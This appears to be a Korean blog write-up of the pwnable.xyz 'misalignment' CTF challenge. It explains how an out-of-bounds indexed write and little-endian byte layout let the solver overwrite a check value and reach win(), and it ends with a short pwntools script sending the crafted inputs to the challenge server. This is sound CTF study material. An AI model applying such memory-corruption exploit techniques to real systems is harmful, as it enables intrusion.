WAR GAME/pwnable.xyz

[pwnable.xyz] misalignment 풀이 (64bit, 리틀엔디안)

jir4vvit 2021. 5. 3. 15:21

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

리틀엔디안에 대해 더 상기시켰던 계기가 되었다.


주어진 파일은 문제 파일 바이너리

Analysis

mitigation

execution

앞에서 풀었던 문제랑 비슷한 느낌이다.

code

main

입력은 숫자 3개를 받는데, 마지막 입력idx이다. -7 ~ 9 사이밖에 입력을 못한다. 그래서 내가 그냥 실행해서 33이라는 수를 주니까 그냥 종료됐었다.

 

노란색 박스를 보면.. 첫번째 입력두번째 입력을 더해서 v5[8*idx+48]에 넣는다.

 

win() 함수는 flag를 열어주는 함수인데, 최종적으로 저 함수를 실행시키면 flag를 얻을 수 있다. 저 함수를 실행시키기 위해서는 v5[7]0xB000000B5의 값을 가져야 한다.

 

최종적으로 저 deadbeef를 b0000000b5로 바꿔야 한다!

Exploit Scenario

Summary

  1. v5[0]에 0xB500000000000000 입력
  2. v5[8]에 0x0B000000 입력

참고로 C언어에서 char1바이트이다.

그리고 컴퓨터는 16진수 데이터를 리틀엔디안으로 저장한다.

16진수를 10진수로 바꿔서 입력을 해주었다.

Exploit Code

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30003)
e = ELF('./challenge')

p.sendline('-5404319552844595200 0 -6')
p.sendline('184549376 0 -5')

p.interactive()